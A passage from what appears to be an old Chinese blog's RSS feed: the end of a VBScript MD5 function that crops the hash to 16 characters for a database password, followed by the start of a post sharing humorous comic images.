CLng(512)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(10) = CLng(1024)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(11) = CLng(2048)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(12) = CLng(4096)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(13) = CLng(8192)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(14) = CLng(16384)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(15) = CLng(32768)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(16) = CLng(65536)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(17) = CLng(131072)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(18) = CLng(262144)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(19) = CLng(524288)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(20) = CLng(1048576)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(21) = CLng(2097152)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(22) = CLng(4194304)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(23) = CLng(8388608)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(24) = CLng(16777216)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(25) = CLng(33554432)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(26) = CLng(67108864)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(27) = CLng(134217728)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(28) = CLng(268435456)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(29) = CLng(536870912)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_l2Power(30) = CLng(1073741824)&lt;/p&gt;&lt;p&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim X&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim k&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim AA&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim BB&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim CC&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim DD&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim a&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim b&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim c&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim d&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S11 = 7&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S12 = 12&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S13 = 17&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S14 = 22&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S21 = 5&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S22 = 9&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S23 = 14&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S24 = 20&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S31 = 4&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S32 = 11&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S33 = 16&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S34 = 23&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S41 = 6&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S42 = 10&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S43 = 15&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Const S44 = 21&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; X = ConvertToWordArray(sMessage)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = &amp;amp;H67452301&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b = &amp;amp;HEFCDAB89&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c = &amp;amp;H98BADCFE&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; d = &amp;amp;H10325476&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For k = 0 To UBound(X) Step 16&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AA = a&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BB = b&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CC = c&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DD = d&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF a, b, c, d, X(k + 0), S11, &amp;amp;HD76AA478&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF d, a, b, c, X(k + 1), S12, &amp;amp;HE8C7B756&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF c, d, a, b, X(k + 2), S13, &amp;amp;H242070DB&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF b, c, d, a, X(k + 3), S14, &amp;amp;HC1BDCEEE&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF a, b, c, d, X(k + 4), S11, &amp;amp;HF57C0FAF&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF d, a, b, c, X(k + 5), S12, &amp;amp;H4787C62A&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF c, d, a, b, X(k + 6), S13, &amp;amp;HA8304613&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF b, c, d, a, X(k + 7), S14, &amp;amp;HFD469501&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF a, b, c, d, X(k + 8), S11, &amp;amp;H698098D8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF d, a, b, c, X(k + 9), S12, &amp;amp;H8B44F7AF&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF c, d, a, b, X(k + 10), S13, &amp;amp;HFFFF5BB1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF b, c, d, a, X(k + 11), S14, &amp;amp;H895CD7BE&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF a, b, c, d, X(k + 12), S11, &amp;amp;H6B901122&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF d, a, b, c, X(k + 13), S12, &amp;amp;HFD987193&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF c, d, a, b, X(k + 14), S13, &amp;amp;HA679438E&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_FF b, c, d, a, X(k + 15), S14, &amp;amp;H49B40821&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG a, b, c, d, X(k + 1), S21, &amp;amp;HF61E2562&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG d, a, b, c, X(k + 6), S22, &amp;amp;HC040B340&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG c, d, a, b, X(k + 11), S23, &amp;amp;H265E5A51&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG b, c, d, a, X(k + 0), S24, &amp;amp;HE9B6C7AA&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG a, b, c, d, X(k + 5), S21, &amp;amp;HD62F105D&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG d, a, b, c, X(k + 10), S22, &amp;amp;H2441453&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG c, d, a, b, X(k + 15), S23, &amp;amp;HD8A1E681&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG b, c, d, a, X(k + 4), S24, &amp;amp;HE7D3FBC8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG a, b, c, d, X(k + 9), S21, &amp;amp;H21E1CDE6&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG d, a, b, c, X(k + 14), S22, &amp;amp;HC33707D6&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG c, d, a, b, X(k + 3), S23, &amp;amp;HF4D50D87&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG b, c, d, a, X(k + 8), S24, &amp;amp;H455A14ED&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG a, b, c, d, X(k + 13), S21, &amp;amp;HA9E3E905&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG d, a, b, c, X(k + 2), S22, &amp;amp;HFCEFA3F8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG c, d, a, b, X(k + 7), S23, &amp;amp;H676F02D9&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_GG b, c, d, a, X(k + 12), S24, &amp;amp;H8D2A4C8A&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH a, b, c, d, X(k + 5), S31, &amp;amp;HFFFA3942&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH d, a, b, c, X(k + 8), S32, &amp;amp;H8771F681&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH c, d, a, b, X(k + 11), S33, &amp;amp;H6D9D6122&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH b, c, d, a, X(k + 14), S34, &amp;amp;HFDE5380C&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH a, b, c, d, X(k + 1), S31, &amp;amp;HA4BEEA44&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH d, a, b, c, X(k + 4), S32, &amp;amp;H4BDECFA9&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH c, d, a, b, X(k + 7), S33, &amp;amp;HF6BB4B60&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH b, c, d, a, X(k + 10), S34, &amp;amp;HBEBFBC70&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH a, b, c, d, X(k + 13), S31, &amp;amp;H289B7EC6&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH d, a, b, c, X(k + 0), S32, &amp;amp;HEAA127FA&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH c, d, a, b, X(k + 3), S33, &amp;amp;HD4EF3085&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH b, c, d, a, X(k + 6), S34, &amp;amp;H4881D05&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH a, b, c, d, X(k + 9), S31, &amp;amp;HD9D4D039&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH d, a, b, c, X(k + 12), S32, &amp;amp;HE6DB99E5&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH c, d, a, b, X(k + 15), S33, &amp;amp;H1FA27CF8&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_HH b, c, d, a, X(k + 2), S34, &amp;amp;HC4AC5665&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II a, b, c, d, X(k + 0), S41, &amp;amp;HF4292244&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II d, a, b, c, X(k + 7), S42, &amp;amp;H432AFF97&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II c, d, a, b, X(k + 14), S43, &amp;amp;HAB9423A7&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II b, c, d, a, X(k + 5), S44, &amp;amp;HFC93A039&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II a, b, c, d, X(k + 12), S41, &amp;amp;H655B59C3&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II d, a, b, c, X(k + 3), S42, &amp;amp;H8F0CCC92&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II c, d, a, b, X(k + 10), S43, &amp;amp;HFFEFF47D&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II b, c, d, a, X(k + 1), S44, &amp;amp;H85845DD1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II a, b, c, d, X(k + 8), S41, &amp;amp;H6FA87E4F&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II d, a, b, c, X(k + 15), S42, &amp;amp;HFE2CE6E0&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II c, d, a, b, X(k + 6), S43, &amp;amp;HA3014314&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II b, c, d, a, X(k + 13), S44, &amp;amp;H4E0811A1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II a, b, c, d, X(k + 4), S41, &amp;amp;HF7537E82&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II d, a, b, c, X(k + 11), S42, &amp;amp;HBD3AF235&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II c, d, a, b, X(k + 2), S43, &amp;amp;H2AD7D2BB&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; md5_II b, c, d, a, X(k + 9), S44, &amp;amp;HEB86D391&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; a = AddUnsigned(a, AA)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b = AddUnsigned(b, BB)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c = AddUnsigned(c, CC)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; d = AddUnsigned(d, DD)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Next&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'MD5 = LCase(WordToHex(a) &amp;amp; WordToHex(b) &amp;amp; WordToHex(c) &amp;amp; WordToHex(d))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MD5 = LCase(WordToHex(b) &amp;amp; WordToHex(c)) 'I crop this to fit 16byte database password :D&lt;br&gt;End Function&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=26</guid><pubDate>Thu, 19 Apr 2007 08:46:00 GMT</pubDate></item><item><title>小老爷们那点事儿(搞笑漫画)〈一〉</title><link>http://www.chendw.cn:8080/view.aspx?id=20</link><description>&lt;div id="blog_text" class="cnt"&gt;放松一下,来点轻松愉快的, &lt;img style="MARGIN: 0px 0px -2px" border="0" src="http://www.mndsoft.com/blog/images/smilies/Face_03.gif"&gt;.对了,这组漫画不是很色哦,但是本站女生以及大中专在校学生就不要看了 &lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/0dcbff1f90ecd10e304e1591.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/dde8f536ba1a3f350a55a992.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/5707bc0908bab0206b60fb92.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" 